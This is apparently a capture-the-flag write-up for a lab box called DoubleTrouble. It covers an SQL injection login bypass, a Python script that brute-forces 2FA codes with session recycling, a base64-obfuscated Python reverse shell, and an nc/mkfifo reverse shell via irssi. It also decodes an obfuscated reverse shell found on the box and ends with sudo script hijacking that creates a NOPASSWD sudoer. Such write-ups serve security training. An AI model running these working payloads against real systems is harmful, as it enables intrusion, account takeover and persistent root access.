DoubleTrouble
1. Reconnaissance
Network Scanning
Initial reconnaissance performed with nmap
to identify open ports:
export TARGET_IP=172.17.0.2
sudo nmap -p- $TARGET_IP
Findings:
PORT STATE SERVICE
80/tcp open http
2. Web Application Exploitation
2.1 Authentication Bypass
Discovered SQL injection vulnerability in login form. Used boolean-based payload to bypass authentication:
USERNAME = "'OR 1=1;" # SQLi payload
PASSWORD = "B0end" # Arbitrary password
Script Logic (2faBrute.py
):
- Maintains session cookies with
requests.Session()
- Implements session recycling every 3 attempts to avoid detection
- Tests 4-digit 2FA codes sequentially
import requests
import sys
# Configuration
URL_LOGIN = "http://172.17.0.2/index.php"
URL_2FA = "http://172.17.0.2/2fa.php"
USERNAME = "'OR 1=1;"
PASSWORD = "B0end"
MAX_ATTEMPTS = 3
HEADERS = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"}
LOGIN_DATA = {"username": USERNAME, "password": PASSWORD}
session = requests.Session()
def login():
"""Handle initial authentication"""
print("[*] Attempting initial authentication...")
resp = session.post(URL_LOGIN, data=LOGIN_DATA, headers=HEADERS)
success = resp.status_code == 200 and "Verificación de 2FA" in resp.text
print("[+] Initial authentication successful." if success else "[-] Initial authentication failed.")
return success
def test_2fa(code):
"""Test a 2FA code"""
resp = session.post(URL_2FA, data={"code": code}, headers=HEADERS)
return resp.status_code == 200 and "Código incorrecto" not in resp.text
def brute_force_2fa(codes):
"""Bruteforce 2FA codes with session recycling"""
for i, code in enumerate(codes, 1):
print(f"[*] Testing: {code}")
if test_2fa(code):
print(f"[+] Valid code found: {code}")
return
if i % MAX_ATTEMPTS == 0:
print(f"[!] Max attempts reached ({MAX_ATTEMPTS}), reauthenticating...")
if not login(): return
if __name__ == "__main__":
if len(sys.argv) < 2:
sys.exit("Usage: python3 2faBrute.py <dictionary_file>")
try:
with open(sys.argv[1]) as f:
codes = [line.strip() for line in f]
except FileNotFoundError:
sys.exit(f"Error: File '{sys.argv[1]}' not found")
if login():
brute_force_2fa(codes)
print("[-] Bruteforce complete.")
#!/usr/bin/env python3
with open("dictionary.txt", "w") as f:
f.write('\n'.join(f"{i:04}" for i in range(10000)))
print("Dictionary generated successfully")
python3 generate2fadic.py
python3 2faBrute.py dictionary.txt
Successful Code: 0150
Security Failure: Lack of 2FA attempt throttling and account lockout mechanisms.
3. Initial Access
3.1 Reverse Shell Upload
Discovered Python code upload functionality. Initial detection bypass via Base64 obfuscation:
import base64
# Original payload
payload = """
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("172.17.0.1",6666))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
"""
# Encode the payload
encoded_payload = base64.b64encode(payload.encode()).decode()
print(encoded_payload)
python3 encode_payload.py # CmltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcwpzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCIxNzIuMTcuMC4xIiw2NjY2KSkKb3MuZHVwMihzLmZpbGVubygpLDApCm9zLmR1cDIocy5maWxlbm8oKSwxKQpvcy5kdXAyKHMuZmlsZW5vKCksMikKc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pCg==
import base64, os, socket, subprocess, time
# Obfuscated payload
encoded_payload = "CmltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcwpzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCIxNzIuMTcuMC4xIiw2NjY2KSkKb3MuZHVwMihzLmZpbGVubygpLDApCm9zLmR1cDIocy5maWxlbm8oKSwxKQpvcy5kdXAyKHMuZmlsZW5vKCksMikKc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pCg=="
exec(base64.b64decode(encoded_payload).decode())
You can also use an online tool for Python code obfuscation, but homemade stuff is cool.
4. Privilege Escalation
4.1 User Enumeration
id # uid=33(www-data) gid=33(www-data) groups=33(www-data)
ls /home
# darksblack
# juan
# maci
find / -type f -user maci 2>/dev/null
# /var/backups/.maci/.-/-/archivo500.zip
cd /var/backups/.maci/.-/-/
python3 -m http.server 6666
wget http://$TARGET_IP:6666/archivo500.zip
unzip archivo500.zip
# Archive: archivo500.zip
# inflating: archivo499.zip
4.2 Zip Bomb Analysis
- Automated extraction of 500 nested ZIP archives
import zipfile
import os
import glob
current_zip = "archivo500.zip"
while os.path.isfile(current_zip):
if current_zip == "archivo0.zip":
print("Found archivo0.zip. Stopping the process. You can now analyze this file.")
break
try:
with zipfile.ZipFile(current_zip, 'r') as zip_ref:
zip_ref.extractall()
print(f"Extracted: {current_zip}")
except zipfile.BadZipFile:
print(f"Error: {current_zip} is not a valid zip file or is corrupted.")
except Exception as e:
print(f"An error occurred while extracting {current_zip}: {e}")
os.remove(current_zip)
zip_files = glob.glob("*.zip")
if not zip_files:
print("No more ZIP files found.")
break
current_zip = zip_files[0]
print("Finished unzipping process.")
- Password cracking via
zip2john
+john
(RockYou list):
python3 unzip_machine.py
zip2john archivo0.zip | john --wordlist=/usr/share/wordlists/rockyou.txt
# Password: 12345678
unzip archivo0.zip
cat pass.txt
Credentials Obtained:
maci:49392923
su maci
sudo -l # (darksblack) NOPASSWD: /usr/bin/irssi
4.3 Sudo Abuse Chain
Horizontal Escalation Path:
maci
→darksblack
:
sudo -u darksblack /usr/bin/irssi
nc -lvnp 1234
/exec rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 172.17.0.1 1234 > /tmp/f
darksblack
→juan
:
id # uid=1001(darksblack) gid=1001(darksblack) groups=1001(darksblack),100(users)
sudo -l
# (juan) NOPASSWD: /usr/bin/python3 /home/juan/shell.py
# (juan) NOPASSWD: /bin/cat /home/juan/shell.py
Multi-Stage Payload Decoding (decode_script.py
):
- Extracted
chr()
obfuscated code - Decoded Base32 → Base64 nested encoding
- Revealed reverse shell connecting to 172.17.0.183:5002
sudo -u juan /bin/cat /home/juan/shell.py > /tmp/shell.py
import re
import base64
import argparse
def decode_shell_script(filepath=None, code_string=None, output_file=None):
"""
Decodes a Python script that uses chr() obfuscation and base32/base64 encoding.
Args:
filepath (str, optional): Path to the input file.
code_string (str, optional): The code as a string.
output_file (str, optional): Path to save the decoded code.
Either filepath or code_string must be provided.
"""
# Read the input code
if filepath:
try:
with open(filepath, 'r') as f:
code = f.read()
except FileNotFoundError:
print(f"Error: File not found at {filepath}")
return
elif code_string:
code = code_string
else:
print("Error: Either filepath or code_string must be provided.")
return
# Extract all chr() numbers
chr_matches = re.findall(r"chr\((\d+)\)", code)
if not chr_matches:
print("No chr() calls found in the code.")
return
# Decode to intermediate code string
decoded_string = ''.join([chr(int(n)) for n in chr_matches])
# Extract base32 encoded string from intermediate code
b32_pattern = r"base64\.b32decode\(['\"]([A-Za-z0-9=]+)['\"]\)"
b32_matches = re.findall(b32_pattern, decoded_string)
if not b32_matches:
print("No base32 encoded string found in the decoded code.")
return
encoded_b32 = b32_matches[0]
# Decode base32 and base64
try:
decoded_b32 = base64.b32decode(encoded_b32)
except Exception as e:
print(f"Error decoding base32: {e}")
return
try:
decoded_b64 = base64.b64decode(decoded_b32)
except Exception as e:
print(f"Error decoding base64: {e}")
return
# Save or display the result
if output_file:
try:
with open(output_file, 'wb') as f:
f.write(decoded_b64)
print(f"Successfully saved decoded code to {output_file}")
except Exception as e:
print(f"Error writing to file {output_file}: {e}")
else:
print("Decoded code:")
print(decoded_b64.decode('utf-8'))
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Decode an obfuscated Python script with chr() and base32/base64 encoding.')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-f', '--file', help='Path to the input file.')
group.add_argument('-c', '--code', help='The code as a string.')
parser.add_argument('-o', '--output', help='Output file to save the decoded code.')
args = parser.parse_args()
decode_shell_script(filepath=args.file, code_string=args.code, output_file=args.output)
python3 decode_script.py -f /tmp/shell.py -o decoded_script.py
cat decoded_script.py
import sys
import os
import subprocess
import socket
import time
HOST = "172.17.0.183"
PORT = 5002
def connect(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
return s
def wait_for_command(s):
data = s.recv(1024)
if data == "quit\n":
s.close()
sys.exit(0)
# the socket died
elif len(data) == 0:
return True
else:
proc = subprocess.Popen(data, shell=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
return False
def main():
while True:
socket_died = False
try:
s = connect(HOST, PORT)
while not socket_died:
socket_died = wait_for_command(s)
s.close()
except socket.error:
pass
time.sleep(5)
if __name__ == "__main__":
sys.exit(main())
Network Configuration:
sudo ip addr add 172.17.0.183/16 dev docker0 # Add address
ip addr show docker0 # Check
nc -lvnp 5002 -s 172.17.0.183 # Explicitly bind to the IP
sudo -u juan /usr/bin/python3 /home/juan/shell.py
4.4 Root Access
id # uid=1003(juan) gid=1003(juan) groups=1003(juan),100(users)
sudo -l # (ALL : ALL) NOPASSWD: /home/juan/mensajes.sh
ls -l /home/juan/mensajes.sh # -rwx--x--x 1 root root 181 Nov 21 21:03 /home/juan/mensajes.sh
Script Hijacking:
We could modify the script by removing and creating it again. I will add a new user and add him to the sudoers file.
rm /home/juan/mensajes.sh
echo 'useradd -s /bin/bash b0end && echo "b0end:mystrongpassword" | chpasswd && echo "b0end ALL=(ALL:ALL) NOPASSWD: ALL" >> /etc/sudoers' > /home/juan/mensajes.sh
chmod +x /home/juan/mensajes.sh
sudo /home/juan/mensajes.sh
5. Post-Exploitation
Root Access Confirmation:
su b0end # Password: mystrongpassword
su -i
id # uid=0(root) gid=0(root) groups=0(root)